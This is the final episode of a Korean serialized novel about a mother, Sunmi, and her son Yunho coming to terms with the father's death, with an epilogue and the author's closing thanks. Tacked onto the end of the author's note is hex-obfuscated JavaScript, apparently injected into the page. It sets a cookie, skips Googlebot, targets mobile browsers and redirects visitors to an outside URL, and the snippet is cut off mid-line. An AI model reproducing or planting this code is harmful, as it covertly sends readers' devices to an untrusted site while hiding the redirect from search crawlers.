아픈다리 서로 기대며 (마지막회)

‘이거 언제 온 거니?’

‘.., …‘

‘왜, 이제야 내 놓았니,’

‘엄마, 난 너무 무서웠어. 흐 흑’ 어느덧 엄마만큼 다 자란 윤호가 엄마를 와락 끌어안았다.

‘김윤호. 초등학교 4학년 때 본인의 의지와는 아무 상관없이 엄마와 함께 여행 왔다가 이곳에서 고등학교 2학년이 되었다. 누가 특별하게 묻지는 않았지만 그의 라스트 네임에 대해서 남모를 고민과 자아가 형성되는 시기였다. 한창 어리광을 부려야 될 시기였지만 그럴 대상과 공간이 그에게는 주어지지 않았다.

그러던 어느 날 아빠가 나타났고, 사건이 터진 직접적인 원인이 떨리는 손으로 911에 전화를 건 자신이라는 사실이 시간이 지날수록 더욱 뚜렷해지는 것이었다. 6개월쯤 전에 메일을 정리하다가 한국에서 온 편지 하나를 발견했다.

‘할머니, 저 윤호예요.‘

‘어이구 내새끼, 그래 얼마나 컸냐, 응?‘

‘엄마는 잘 있고, 근데 뭔 일로 네가 전활 했냐?’

‘아빠에게서 편지가 왔어요. 근데 뜯어보니 좀 이상해서요.’

선미의 친정어머니는 편지내용을 확인하고 싶었다. 편지를 읽어보라고 했다. 그리고 나서 윤호가 아빠의 사망소식을 정확하게는 모를 수도 있다는 것과 선미에게 또 다른 충격을 줄 것이기에 윤호에게 목소리를 다듬어 가면서 말했다.

‘윤호야, 내 말 잘 들어라. 아빠가 너무나 외로운 모양이다. 공부 더욱 더 열심히 하고, 엄마가 그 편지 읽으면 속상해 할 것 같으니 그냥 엄마 몰래 버리는 것이 어떻겠니?’

‘그럴게요. 할머니.’

‘그래, 우리윤호 착하다.’

그러나 이건 버려야 할 편지가 아니라는 걸 김윤호는 알고 있었다.

엄마의 얼굴이 편안해지는 느낌이 들 때까지 서랍 속에 넣어두고 혼자서만 읽고 또 읽고 했던 것이다. 그런데 최근의 엄마모습은 아빠 돌아가시기 전보다 훨씬 나아 보였다.

그리고 남자, 아빠가 아닌 남자가 엄마 옆에 있다는 느낌은 윤호에게는 대단한 충격이었다.

형언할 수 없는 배신감을 엄마에게서 처음으로 느꼈다. 혼자서 만지작거리던 편지, 이걸로 엄마를 붙들 수 있겠다 싶었다. 이제 엄마는 자신이 지켜야 한다는 생각까지도 했던 것이다.

 

그날 밤 다 자란 윤호와 함께 잤다.

더 이상 어린애도 아니었지만 ‘여기서 같이 잘래 ?’ 하니까 곁으로 왔다.

아기 때처럼 포근히 안아주니 금방 잠이 들었다. 선미는 윤호가 잠이 들자 다시 일어나 앉았다. 자는 애를 한참을 내려다 봤다. 거기에 사람이 있었고, 남자가 있고, 명준의 반쪽이 누워 있었다.

‘왜 그런 생각을 못했던가,’

윤호가 겪었을, 그리고 앞으로 겪을 일에 대해서 이렇게 까마득히 선미 자신과 동일시해서 윤호의 존재자체를 무시할 수가 있었던가!

죠바니와 자신이 겪은 물리적 분리불안에 비하면 보이지 않는 윤호의 내면적 상처는

그 깊이가 얼른 헤아려 지지가 않았다.

더군다나 남의 상처와 병을 치료하겠다는 목적으로 공부의 방향을 정해 놓은 그다.

아들에게 모든 기대를 걸었듯이 그녀의 모든 걸 내보이는 것이 결코 쉬운 일은 아니지만 하루라도 빨리 치유되지 않으면 안 될 상황이 바로 눈앞에 있었다. 그녀가 할 수 있는 모든 걸 윤호앞에 어디까지 어떻게 드러내 보여야 할지를 숙고하지 않으면 안 되었다. 나머지는 윤호의 몫이고, 그의 미래다.

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6년 후, 2013년 봄,

매릴랜드주 실버스프링에는 주민의 30%가 스패니쉬다. ‘깜빼로 치킨‘레스토랑 안에서는 마르코가 종업원들과 열심히 페루비안 치킨을 굽고 있다.

 

2008년말 미국에 불어 닥친 금융위기와 겹쳐서 삼호정 주인 부부의 잦은 카지노 출입으로 삼호정이 간판을 내리게 되자, 죠바니와 선미는 마르코와 니디아, 그리고 오스카까지 데려와서 실버스프링에 깜뻬로치킨 1호점을 오픈했다. 마르코와 니디아는 거기서 결혼을 했다. 작년에 3마일 떨어진 지점에 오픈한 2호점은 오스카가 맡고 있다. 두 식당에서 이른 새벽부터 분주하게 숯불에 치킨을 굽고 있을 그 시각,

지구 반대편 부산의 태종대 앞 바닷가,

두 사람이 떨어지는 낙조를 바라다보면서 말없이 앉아 있다.

이윽고 여자는 핸드백에서 편지 한 장을 꺼내서 불을 붙이고 나서 그 재를 바람에 날려 보낸다. 눈가에 희미한 눈물방울 하나가 정처없이 방황하며 떨어진다.

머릿결이 희끗한 중년 부인과 존스합킨스 의과대학 레지던트과정에 있는 청년이었다.

그들과 약간의 거리를 두고, 이국의 남자가 그들과 같은 쪽의 먼 하늘을 지긋이 바라다보면서 짙은 담배연기를 날리고 있다.  ( 끝)

0[1]

* 여러분 그동안 선미를 아껴주셔서 감사합니다.

그리고 끝까지 같이해 주셔서 감사합니다. 작가는 그런 선미의 아픔을 대신해 보려고 했습니다만  부족함이 많았을 것으로 압니다.

다른 작품도 쓸까요 ? ㅠㅠㅠㅠㅠvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 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